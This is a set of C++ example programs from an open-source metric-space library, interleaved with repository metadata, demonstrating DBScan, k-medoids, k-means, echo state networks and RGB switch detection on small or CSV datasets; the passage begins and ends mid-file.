assignments[i] << std::endl; } } std::cout << '\n'; std::cout << "exemplars:" << std::endl; for (size_t i = 0; i < exemplars.size(); i++) { if (i < exemplars.size() - 1) { std::cout << exemplars[i] << ", "; } else { std::cout << exemplars[i] << std::endl; } } std::cout << '\n'; std::cout << "counts:" << std::endl; for (size_t i = 0; i < counts.size(); i++) { if (i < counts.size() - 1) { std::cout << counts[i] << ", "; } else { std::cout << counts[i] << std::endl; } } std::cout << '\n' << std::endl; return 0; }
2,127
C++
.cpp
72
26.430556
101
0.634314
metric-space-ai/metric
34
14
44
MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
true
false
1,531,435
DBScan_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/clustering/DBScan_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include "metric/mapping.hpp" int main() { std::cout << "DBScan example have started" << std::endl; std::cout << '\n'; std::vector<std::vector<float>> data { { 0, 0, 0, 0, 0 }, { 1.74120000000000, 4.07812000000000, -0.0927036000000, 41.7888000000000, 41.7888000000000 }, { 7.75309000000000, 16.2466000000000, 3.03956000000000, 186.074000000000, 186.074000000000 }, { 2.85493000000000, 3.25380000000000, 2.50559000000000, 68.5184000000000, 68.5184000000000 }, { 5.81414000000000, 8.14015000000000, 3.22950000000000, 139.539000000000, 139.539000000000 }, { 2.57927000000000, 2.63399000000000, 2.46802000000000, 61.9026000000000, 61.9026000000000 } }; metric::Matrix<std::vector<float>, metric::Euclidean<float>> distance_matrix(data); auto [assignments, seeds, counts] = metric::dbscan(distance_matrix, (float)64.0, 1); // out: //assignments: //1, 1, 2, 1, 3, 1 //seeds : //0, 2, 4 //counts : //4, 1, 1 std::cout << "assignments:" << std::endl; for (size_t i = 0; i < assignments.size(); i++) { if (i < assignments.size() - 1) { std::cout << assignments[i] << ", "; } else { std::cout << assignments[i] << std::endl; } } std::cout << '\n'; std::cout << "seeds:" << std::endl; for (size_t i = 0; i < seeds.size(); i++) { if (i < seeds.size() - 1) { std::cout << seeds[i] << ", "; } else { std::cout << seeds[i] << std::endl; } } std::cout << '\n'; std::cout << "counts:" << std::endl; for (size_t i = 0; i < counts.size(); i++) { if (i < counts.size() - 1) { std::cout << counts[i] << ", "; } else { std::cout << counts[i] << std::endl; } } std::cout << '\n' << std::endl; return 0; }
1,955
C++
.cpp
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0.616987
metric-space-ai/metric
34
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
true
false
1,531,436
KMedoids_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/clustering/KMedoids_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include "metric/mapping.hpp" int main() { std::cout << "KMedoids example have started" << std::endl; std::cout << '\n'; std::vector<std::vector<float>> data{ {0, 0, 0, 0, 0}, {1.74120000000000, 4.07812000000000, -0.0927036000000, 41.7888000000000, 41.7888000000000}, {7.75309000000000, 16.2466000000000, 3.03956000000000, 186.074000000000, 186.074000000000}, {2.85493000000000, 3.25380000000000, 2.50559000000000, 68.5184000000000, 68.5184000000000}, {5.81414000000000, 8.14015000000000, 3.22950000000000, 139.539000000000, 139.539000000000}, {2.57927000000000, 2.63399000000000, 2.46802000000000, 61.9026000000000, 61.9026000000000} }; metric::Matrix<std::vector<float>, metric::Euclidean<float>> matrix(data); auto[assignments, seeds, counts] = metric::kmedoids(matrix, 4); // out: //assignments: //2, 0, 3, 0, 1, 0 //seeds : //5, 4, 0, 2 //counts : //3, 1, 1, 1 std::cout << "assignments:" << std::endl; for (size_t i = 0; i < assignments.size(); i++) { if (i < assignments.size() - 1) { std::cout << assignments[i] << ", "; } else { std::cout << assignments[i] << std::endl; } } std::cout << '\n'; std::cout << "seeds:" << std::endl; for (size_t i = 0; i < seeds.size(); i++) { if (i < seeds.size() - 1) { std::cout << seeds[i] << ", "; } else { std::cout << seeds[i] << std::endl; } } std::cout << '\n'; std::cout << "counts:" << std::endl; for (size_t i = 0; i < counts.size(); i++) { if (i < counts.size() - 1) { std::cout << counts[i] << ", "; } else { std::cout << counts[i] << std::endl; } } std::cout << '\n' << std::endl; return 0; }
1,903
C++
.cpp
68
25.117647
98
0.624725
metric-space-ai/metric
34
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
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false
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1,531,437
KMeans_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/clustering/KMeans_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include "metric/mapping.hpp" int main() { std::cout << "KMeans example have started" << std::endl; std::cout << '\n'; std::vector<std::vector<float>> data{ {0, 0, 0, 0, 0}, {1.74120000000000, 4.07812000000000, -0.0927036000000, 41.7888000000000, 41.7888000000000}, {7.75309000000000, 16.2466000000000, 3.03956000000000, 186.074000000000, 186.074000000000}, {2.85493000000000, 3.25380000000000, 2.50559000000000, 68.5184000000000, 68.5184000000000}, {5.81414000000000, 8.14015000000000, 3.22950000000000, 139.539000000000, 139.539000000000}, {2.57927000000000, 2.63399000000000, 2.46802000000000, 61.9026000000000, 61.9026000000000} }; auto[assignments, means, counts] = metric::kmeans(data, 4); // clusters the data in 4 groups. // out: //assignments: //0, 1, 2, 3, 2, 3 //means: //9.69069, 16.2635, 4.74928, 232.576, 232.576 //0, 0, 0, 0, 0 //4.00673, 4.26089, 3.72081, 96.1618, 96.1618 //3.4824, 8.15624, -0.185407, 83.5776, 83.5776 //counts : //2, 1, 2, 1 std::cout << "assignments:" << std::endl; for (size_t i = 0; i < assignments.size(); i++) { if (i < assignments.size() - 1) { std::cout << assignments[i] << ", "; } else { std::cout << assignments[i] << std::endl; } } std::cout << '\n'; std::cout << "means:" << std::endl; for (size_t i = 0; i < means.size(); i++) { for (size_t j = 0; j < means[i].size(); j++) { if (j < means[i].size() - 1) { std::cout << means[i][j] << ", "; } else { std::cout << means[i][j] << std::endl; } } } std::cout << '\n'; std::cout << "counts:" << std::endl; for (size_t i = 0; i < counts.size(); i++) { if (i < counts.size() - 1) { std::cout << counts[i] << ", "; } else { std::cout << counts[i] << std::endl; } } std::cout << '\n' << std::endl; return 0; }
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.cpp
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metric-space-ai/metric
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,438
esn_csv_sw.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/classification/esn_csv_sw.cpp
#include <blaze/Blaze.h> #include <iostream> #include <fstream> template <class ValueType> void blaze_dm_to_csv(const blaze::DynamicMatrix<ValueType> & data, const std::string filename, const std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)); if (j < data.columns() - 1) outputFile << sep; } outputFile << std::endl; } outputFile.close(); } template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> ContainerType read_csv(const std::string filename, const std::string sep=",", const size_t lines = 0) { // works with string, does not convert to numbers typedef typename ContainerType::value_type LINE; std::string line; int pos; ContainerType array = {}; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open file: " << filename << std::endl; return array; } size_t cnt = 0; while (getline(in, line)) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(field); } ln.push_back(line); array.push_back(ln); if (lines > 0 && cnt >= lines-1) break; ++cnt; } return array; } template <class ValueType> blaze::DynamicMatrix<ValueType, blaze::rowMajor> read_csv_blaze( const std::string & filename, const std::string sep = ",", const size_t lines = 0 ) { auto array = read_csv<std::vector<std::vector<std::string>>>(filename, sep, lines); auto m = blaze::DynamicMatrix<ValueType, blaze::rowMajor>(array.size(), array[0].size()); for (size_t i=0; i<array.size(); ++i) for (size_t j=0; j<array[0].size(); ++j) m(i, j) = convert_to<ValueType>(array[i][j]); return m; } template <class ValueType> ValueType class_entropy(const blaze::DynamicVector<ValueType> & data, const ValueType threshold) { int sum = 0; ValueType sz = data.size(); for (size_t i = 0; i<sz; ++i) { if (data[i] > threshold) ++sum; } ValueType p1 = sum/sz; if (sum == 0 || sum == sz) return 0; else return -p1*log2(p1) - (1 - p1)*log2(1 - p1); } int main() // DetSwitchDetector internals reproduced with intermediate output added { using value_type = float; //double; size_t wnd_size = 15; value_type update_rate = 0.0025; value_type w_r = 2; value_type w_g = 2; value_type w_b = 2; value_type w_s = 15; value_type magn = 0.002; value_type rgb_offs = -5; value_type s_offs = 0; blaze::DynamicMatrix<value_type> W1 = { {magn*w_r, 0, 0, 0, magn*rgb_offs}, {0, magn*w_g, 0, 0, magn*rgb_offs}, {0, 0, magn*w_b, 0, magn*rgb_offs}, {0, 0, 0, magn*w_s, magn* s_offs}, }; blaze::DynamicMatrix<value_type> Wo = { {1, 1, 1, 2} }; std::cout << "started" << std::endl << std::endl; // dataset passed as Blaze matrix, data points in COLUMNS auto start_time = std::chrono::steady_clock::now(); blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("training_ds_2_fragm.csv"); //, ",", 10000); // blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("slice.csv"); //, ",", 10000); // blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("slice_small.csv"); //, ",", 10000); blaze::DynamicMatrix<value_type> raw_labels (ds_in.rows(), 1); blaze::column(raw_labels, 0) = blaze::column(ds_in, 4); blaze_dm_to_csv(raw_labels, "raw_labels_2.csv"); blaze::DynamicVector<value_type> feature_stddev (ds_in.rows(), 0); value_type new_label = 0; for (size_t i = wnd_size; i < feature_stddev.size(); ++i) { auto wnd1 = blaze::submatrix(ds_in, i - wnd_size, 1, wnd_size, 1); auto wnd2 = blaze::submatrix(ds_in, i - wnd_size, 2, wnd_size, 1); auto wnd3 = blaze::submatrix(ds_in, i - wnd_size, 3, wnd_size, 1); feature_stddev[i] = stddev(wnd1) + stddev(wnd2) + stddev(wnd3); if (ds_in(i, 4) >= 1) new_label = 1; if (ds_in(i, 4) <= -1) new_label = 0; ds_in(i, 4) = new_label; } blaze::DynamicMatrix<value_type> ds_all (ds_in.rows(), 4, 0); //blaze::submatrix(ds_all, 0, 0, ds_in.rows(), 3) = blaze::submatrix(ds_in, 0, 1, ds_in.rows(), 3); blaze::column(ds_all, 0) = blaze::column(ds_in, 1); blaze::column(ds_all, 1) = blaze::column(ds_in, 2); blaze::column(ds_all, 2) = blaze::column(ds_in, 3); blaze::column(ds_all, 3) = feature_stddev; blaze_dm_to_csv(ds_all, "data_2.csv"); auto end_time = std::chrono::steady_clock::now(); std::cout << "data prepared in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; // filtering std::cout << std::endl << "filtering started" << std::endl; blaze::DynamicMatrix<value_type> layer1 (ds_in.rows(), W1.rows(), 0); blaze::DynamicMatrix<value_type> mixed_out (ds_in.rows(), 1, 0); blaze::DynamicMatrix<value_type> latency_out (ds_in.rows(), 1, 0); value_type sliding_prev = mixed_out(wnd_size, 0); blaze::DynamicMatrix<int> bin_out (ds_in.rows(), 1, 0); for (size_t i = wnd_size; i < ds_in.rows(); ++i) { blaze::DynamicVector<value_type> in1 (ds_all.columns() + 1); blaze::subvector(in1, 0, ds_all.columns()) = blaze::trans(blaze::row(ds_all, i)); in1[ds_all.columns()] = 1; // offset element blaze::row(layer1, i) = blaze::tanh(blaze::trans(W1 * in1)); //blaze::row(layer1, i) = blaze::trans(W1 * in1); // TODO remove //mixed_out(i, 0) = blaze::sum(blaze::row(layer1, i)) / ((value_type)layer1.columns()); mixed_out(i, 0) = blaze::sum(Wo*blaze::trans(blaze::row(layer1, i))) / blaze::sum(Wo); if (mixed_out(i, 0) > 0.5) { latency_out(i, 0) = 1; } else { // off latency value_type upd = ( mixed_out(i, 0)*update_rate + sliding_prev*(1 - update_rate) ); latency_out(i, 0) = mixed_out(i, 0) > upd ? mixed_out(i, 0) : upd; } sliding_prev = latency_out(i, 0); if (latency_out(i, 0) > 0.5) { // binarize bin_out(i, 0) = 1; } } blaze_dm_to_csv(layer1, "layer1.csv"); blaze_dm_to_csv(mixed_out, "out1.csv"); blaze_dm_to_csv(latency_out, "out_smoothed.csv"); blaze_dm_to_csv(bin_out, "out_bin.csv"); std::cout << "all done" << std::endl; return 0; }
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C++
.cpp
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metric-space-ai/metric
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,439
ESN_example.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/classification/ESN_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #define _USE_MATH_DEFINES #include <cmath> #include "metric/mapping.hpp" #include "metric/utils/visualizer.hpp" #include <iostream> int main() { //// long double is not supported by the current BLAS! //blaze::DynamicMatrix<long double> ldm = {{1, 0}, {0, 1}}; //std::cout << blaze::eigen(ldm)<< "\n"; // this fails std::cout << "ESN example have started" << std::endl; std::cout << '\n'; bool visualize = false; using value_type = double; //* // run ESN on small dataset passed in the native Blaze matrix form (data points in columns) visualize = true; blaze::DynamicMatrix<value_type, blaze::rowMajor> SlicesR { {1 , 0.75, 0.5 , 0.25, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 }, {0 , 0.25, 0.5 , 0.75, 1 , 0.75, 0.5 , 0.25, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 }, {0 , 0 , 0 , 0 , 0 , 0.25, 0.5 , 0.75, 1 , 0.75, 0.5 , 0.25, 0 , 0 , 0 , 0 , 0 , 0 }, {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0.25, 0.5 , 0.75, 1 , 0.75, 0.5 , 0.25, 0 , 0 }, {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0.25, 0.5 , 0.75, 1 , 0.75}, {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0.25} }; // first COLUMN represents zero time moment, second represents time = 1, etc blaze::DynamicMatrix<value_type, blaze::rowMajor> TargetR { {-0.45, -0.4, -0.35, -0.3, -0.25, -0.2, -0.15, -0.1, -0.05, 0 , 0.05, 0.1, 0.15 , 0.2 , 0.25 , 0.3 , 0.35 , 0.4 }, {0.5 , 0.25 , 0 , 0.25, 0.5 , 0.25 , 0 , 0.25, 0.5 , 0.25 , 0 , 0.25, 0.5 , 0.25 , 0 , 0.25, 0.5 , 0.25}, }; // first line (position of peak) is easy to predict, second is much harder. ESN predicts it better in no-echo mode blaze::DynamicMatrix<value_type, blaze::rowMajor> SlicesTestR { {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0.25}, {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0.25, 0.5 , 0.75, 1 , 0.75}, {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0.25, 0.5 , 0.75, 1 , 0.75, 0.5 , 0.25, 0 , 0 }, {0 , 0 , 0 , 0 , 0 , 0.25, 0.5 , 0.75, 1 , 0.75, 0.5 , 0.25, 0 , 0 , 0 , 0 , 0 , 0 }, {0 , 0.25, 0.5 , 0.75, 1 , 0.75, 0.5 , 0.25, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 }, {1 , 0.75, 0.5 , 0.25, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 } }; if (visualize) { mat2bmp::blaze2bmp(SlicesR, "ESN_SlicesR.bmp"); mat2bmp::blaze2bmp(TargetR, "ESN_TargetR.bmp"); mat2bmp::blaze2bmp(SlicesTestR, "ESN_SlicesTestR.bmp"); } auto esn = metric::ESN<std::vector<value_type>, void>(500, 4, 0.99, 0.5, 5, 0.9); // echo //auto esn = metric::ESN<std::vector<value_type>, void>(500, 4, 0.99, 1, 0, 0.9); // no echo (alpha=1 and no washout) esn.train(SlicesR, TargetR); auto prediction = esn.predict(SlicesTestR); std::cout << "ESN small test prediction, data in matrices, input vectors in COLUMNS:\n" << prediction << "\n"; // expected horizintally mirrored Terget_R with some reverberation and delay if (visualize) mat2bmp::blaze2bmp(prediction, "ESN_prediction.bmp"); //*/ //* // run ESN for vector<RecType> dataset, data points in RecType containers (in rows) // data is exactly the same as in the example above //using RecType = std::deque<float>; using RecType = std::vector<double>; //using RecType = blaze::DynamicVector<double>; // also supported std::vector<RecType> SlicesRV { { 1, 0, 0, 0, 0, 0}, // time = 0 {0.75, 0.25, 0, 0, 0, 0}, // time = 1 {0.5 , 0.5, 0, 0, 0, 0}, // etc {0.25, 0.75, 0, 0, 0, 0}, { 0, 1, 0, 0, 0, 0}, { 0, 0.75, 0.25, 0, 0, 0}, { 0, 0.5, 0.5, 0, 0, 0}, { 0, 0.25, 0.75, 0, 0, 0}, { 0, 0, 1, 0, 0, 0}, { 0, 0, 0.75, 0.25, 0, 0}, { 0, 0, 0.5, 0.5, 0, 0}, { 0, 0, 0.25, 0.75, 0, 0}, { 0, 0, 0, 1, 0, 0}, { 0, 0, 0, 0.75, 0.25, 0}, { 0, 0, 0, 0.5, 0.5, 0}, { 0, 0, 0, 0.25, 0.75, 0}, { 0, 0, 0, 0, 1, 0}, { 0, 0, 0, 0, 0.75, 0.25} }; std::vector<RecType> TargetRV { {-0.45, 0.5}, {- 0.4, 0.25}, {-0.35, 0}, {- 0.3, 0.25}, {-0.25, 0.5}, {- 0.2, 0.25}, {-0.15, 0}, {- 0.1, 0.25}, {-0.05, 0.5}, { 0, 0.25}, { 0.05, 0}, { 0.1, 0.25}, { 0.15, 0.5}, { 0.2, 0.25}, { 0.25, 0}, { 0.3, 0.25}, { 0.35, 0.5}, { 0.4, 0.25} }; // first line (position of peak) is easy to predict, second is much harder. ESN predicts it better in no-echo mode std::vector<RecType> SlicesTestRV { { 0, 0, 0, 0, 0, 1}, { 0, 0, 0, 0, 0.25, 0.75}, { 0, 0, 0, 0, 0.5, 0.5}, { 0, 0, 0, 0, 0.75, 0.25}, { 0, 0, 0, 0, 1, 0}, { 0, 0, 0, 0.25, 0.75, 0}, { 0, 0, 0, 0.5, 0.5, 0}, { 0, 0, 0, 0.75, 0.25, 0}, { 0, 0, 0, 1, 0, 0}, { 0, 0, 0.25, 0.75, 0, 0}, { 0, 0, 0.5, 0.5, 0, 0}, { 0, 0, 0.75, 0.25, 0, 0}, { 0, 0, 1, 0, 0, 0}, { 0, 0.25, 0.75, 0, 0, 0}, { 0, 0.5, 0.5, 0, 0, 0}, { 0, 0.75, 0.25, 0, 0, 0}, { 0, 1, 0, 0, 0, 0}, {0.25, 0.75, 0, 0, 0, 0} }; auto esnV = metric::ESN<RecType, void>(500, 4, 0.99, 0.5, 5, 0.9); // echo //auto esnV = metric::ESN<RecType, void>(500, 4, 0.99, 1, 0, 0.9); // no echo (alpha=1 and no washout) esnV.train(SlicesRV, TargetRV); auto predictionV = esnV.predict(SlicesTestRV); std::cout << "ESN small test prediction, data in vector of RecType resords (in ROWS):\n"; for (size_t i = 0; i<predictionV.size(); ++i) { for (size_t j = 0; j<predictionV[0].size(); ++j) std::cout << predictionV[i][j] << " "; std::cout << "\n"; } // expected horizintally mirrored Terget_R with some reverberation and delay std::cout << "\n\n"; //*/ //* // run ESN on sine dataset visualize = true; // set false in order to prevent from overwriting images from ESN internals of the previous launch //using value_type = float; size_t n_freq_steps = 10; size_t n_slices_per_step = 100; size_t waveform_length = 64; //512; //64; // 100; blaze::DynamicMatrix<value_type, blaze::columnMajor> SlicesSine(waveform_length, n_freq_steps*n_slices_per_step, 0.0); blaze::DynamicMatrix<value_type, blaze::columnMajor> TargetSine(1, n_freq_steps*n_slices_per_step, 0.0); blaze::DynamicMatrix<value_type, blaze::columnMajor> TestSlicesSine(waveform_length, n_freq_steps, 0.0); blaze::DynamicMatrix<value_type, blaze::columnMajor> TestTargetSine(1, n_freq_steps, 0.0); value_type frequenz; // based on original test case code value_type phase = 0; value_type delta_T = 0.05; // sine generator size_t idx = 0; for (size_t ii = 1; ii <= n_freq_steps; ii++) // frequency change steps { frequenz = value_type(ii)/value_type(n_freq_steps); for (size_t i = 0; i < n_slices_per_step; ++i) // slices with same freq and random phases (within each freq step) { phase = (value_type)rand()/RAND_MAX; phase = phase * 0.9 + 0.1; // never appeared in test dataset //std::cout << "phase = " << phase << ", freq = " << frequenz << "\n"; TargetSine(0, idx) = frequenz; //-0.5; // works for positive values without offset for (size_t t = 0; t < waveform_length; t++) // draw waveform: 100 points in each slice { SlicesSine(t, idx) = sin(2 * M_PI * (frequenz * value_type(t) * delta_T + phase)); } //std::cout << idx << " " << phase << " " << frequenz << "\n"; idx++; } } idx = 0; for (size_t i = 1; i <= n_freq_steps; i++) // frequency steps { frequenz = value_type(i)/value_type(n_freq_steps); phase = 0; //(double)rand()/RAND_MAX; TestTargetSine(0, idx) = frequenz; //-0.5; for (size_t t = 0; t < waveform_length; t++) // draw waveform: 100 points in each slice { TestSlicesSine(t, idx) = sin(2 * M_PI * (frequenz * value_type(t) * delta_T + phase)); } //std::cout << idx << " " << phase << " " << frequenz << "\n"; idx++; } if (visualize) { mat2bmp::blaze2bmp(SlicesSine, "SlicesSine.bmp"); mat2bmp::blaze2bmp(TargetSine, "TargetSine.bmp"); mat2bmp::blaze2bmp(TestSlicesSine, "TestSlicesSine.bmp"); } auto esn_sine = metric::ESN<std::vector<value_type>, void>(500, 10, 0, 1, 0, 0.9); // reservoir disabled: w_sr=0, alpha=1, washout=0 // ctor input: w_size=500, w_connections=10, w_sr=0.6, alpha=0.5, washout=1, beta=0.5 esn_sine.train(SlicesSine, TargetSine); auto prediction_sine = esn_sine.predict(TestSlicesSine); if (visualize) mat2bmp::blaze2bmp(prediction_sine, "PredictionSine.bmp"); std::cout << "prediction_sine:\n" << prediction_sine << "\n"; std::cout << "test target to compare with (never used in code):\n" << TestTargetSine << "\n"; //*/ return 0; }
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,440
det_sw_detector_exanple.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/classification/det_sw_detector_exanple.cpp
#include "metric/mapping/deterministic_switch_detector.hpp" #include <iostream> #include <fstream> template <class ValueType> void blaze_dm_to_csv(const blaze::DynamicMatrix<ValueType> & data, const std::string filename, const std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)); if (j < data.columns() - 1) outputFile << sep; } outputFile << std::endl; } outputFile.close(); } template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> ContainerType read_csv(const std::string filename, const std::string sep=",", const size_t lines = 0) { // works with string, does not convert to numbers typedef typename ContainerType::value_type LINE; std::string line; int pos; ContainerType array = {}; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open file: " << filename << std::endl; return array; } size_t cnt = 0; while (getline(in, line)) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(field); } ln.push_back(line); array.push_back(ln); if (lines > 0 && cnt >= lines-1) break; ++cnt; } return array; } template <class ValueType> blaze::DynamicMatrix<ValueType, blaze::rowMajor> read_csv_blaze( const std::string & filename, const std::string sep = ",", const size_t lines = 0 ) { auto array = read_csv<std::vector<std::vector<std::string>>>(filename, sep, lines); auto m = blaze::DynamicMatrix<ValueType, blaze::rowMajor>(array.size(), array[0].size()); for (size_t i=0; i<array.size(); ++i) for (size_t j=0; j<array[0].size(); ++j) m(i, j) = convert_to<ValueType>(array[i][j]); return m; } int main() { using value_type = float; //double; blaze::DynamicMatrix<value_type> ds = read_csv_blaze<value_type>("training_ds_2_fragm.csv"); //, ",", 10000); //blaze::DynamicMatrix<value_type> ds = read_csv_blaze<value_type>("slice.csv"); //, ",", 10000); //blaze::DynamicMatrix<value_type> ds = read_csv_blaze<value_type>("slice_small.csv"); //, ",", 10000); // expected format of (comma separated) csv: unused_field, r, g, b, optional_other_fields // e.g.: // 1618831933393,53,49,28 // 1618831933395,53,50,28 // 1618831933397,53,50,27 // ... // or // 1618831933393,53,49,28,0.0 // 1618831933395,53,50,28,0.0 // 1618831933397,53,50,27,0.0 // ... //blaze_dm_to_csv(ds, "input.csv"); // resave with fixed name for ploting script auto d = DetSwitchDetector<value_type>(); auto switches = d.encode(ds); blaze_dm_to_csv(switches, "switches.csv"); // single column of switch flags: 1 - on, -1 - off, 0 - no switch return 0; }
3,311
C++
.cpp
91
30.450549
121
0.608409
metric-space-ai/metric
34
14
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
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false
false
false
false
1,531,441
switch_est_example.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/classification/switch_est_example.cpp
#include "metric/mapping/esn_switch_detector.hpp" #include <iostream> #include <fstream> template <class ValueType> void blaze_dm_to_csv(const blaze::DynamicMatrix<ValueType> & data, const std::string filename, const std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)); if (j < data.columns() - 1) outputFile << sep; } outputFile << std::endl; } outputFile.close(); } template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> ContainerType read_csv(const std::string filename, const std::string sep=",", const size_t lines = 0) { // works with string, does not convert to numbers typedef typename ContainerType::value_type LINE; std::string line; int pos; ContainerType array = {}; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open file: " << filename << std::endl; return array; } size_t cnt = 0; while (getline(in, line)) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(field); } ln.push_back(line); array.push_back(ln); if (lines > 0 && cnt >= lines-1) break; ++cnt; } return array; } template <class ValueType> blaze::DynamicMatrix<ValueType, blaze::rowMajor> read_csv_blaze(const std::string & filename, const std::string sep = ",", const size_t lines = 0) { auto array = read_csv<std::vector<std::vector<std::string>>>(filename, sep, lines); auto m = blaze::DynamicMatrix<ValueType, blaze::rowMajor>(array.size(), array[0].size()); for (size_t i=0; i<array.size(); ++i) for (size_t j=0; j<array[0].size(); ++j) m(i, j) = convert_to<ValueType>(array[i][j]); return m; } template <class ContainerType> void v_to_csv(const ContainerType data, const std::string filename) // single column { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.size(); ++i) { outputFile << std::to_string(data[i]); outputFile << std::endl; } outputFile.close(); } template <class ValueType> std::vector<std::vector<ValueType>> read_csv_num(const std::string filename, const std::string sep=",") { // code dubbing with read_csv, TODO unify and remove one of these functions typedef typename std::vector<ValueType> LINE; std::string line; int pos; std::vector<std::vector<ValueType>> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return array; } while( getline(in,line) ) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(convert_to<ValueType>(field)); } ln.push_back(convert_to<ValueType>(line)); array.push_back(ln); } return array; } int main() { using value_type = float; //double; // In all examples the input files must be comma-separated .scv of the following format: // timestamp,r,g,b,label // e.g.: // 1618830448306,1089,1396,1400,0 // no header is expected in the file // When files are used for prediction, labels are ignored. // Blaze example: dataset passed as Blaze matrix, data points in COLUMNS // read dataset and save model { auto start_time = std::chrono::steady_clock::now(); blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("training_ds_1_fragm.csv"); //, ",", 10000); blaze::DynamicMatrix<value_type> training_ds (ds_in.rows(), 3, 0); blaze::submatrix(training_ds, 0, 0, ds_in.rows(), 3) = blaze::submatrix(ds_in, 0, 1, ds_in.rows(), 3); blaze::DynamicMatrix<value_type> labels (ds_in.rows(), 1); blaze::column(labels, 0) = blaze::column(ds_in, 4); //auto model = SwitchPredictor<value_type>(training_ds, labels); //auto model = SwitchPredictor<value_type>(training_ds, labels, 15, 150, 100, 0.2, 0.4, 0.5); auto model = SwitchPredictor<value_type>(training_ds, labels, 15, 80, 100, 0.2, 0.4); // training_data, labels, wnd_size, cmp_wnd_sz, washout, contrast_threshold, alpha, beta auto end_time = std::chrono::steady_clock::now(); std::cout << "training completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; model.save("tmp.blaze"); } // load and apply the model { auto model = SwitchPredictor<value_type>("tmp.blaze"); auto start_time = std::chrono::steady_clock::now(); blaze::DynamicMatrix<value_type> ds_pred = read_csv_blaze<value_type>("training_ds_2_fragm.csv"); //, ",", 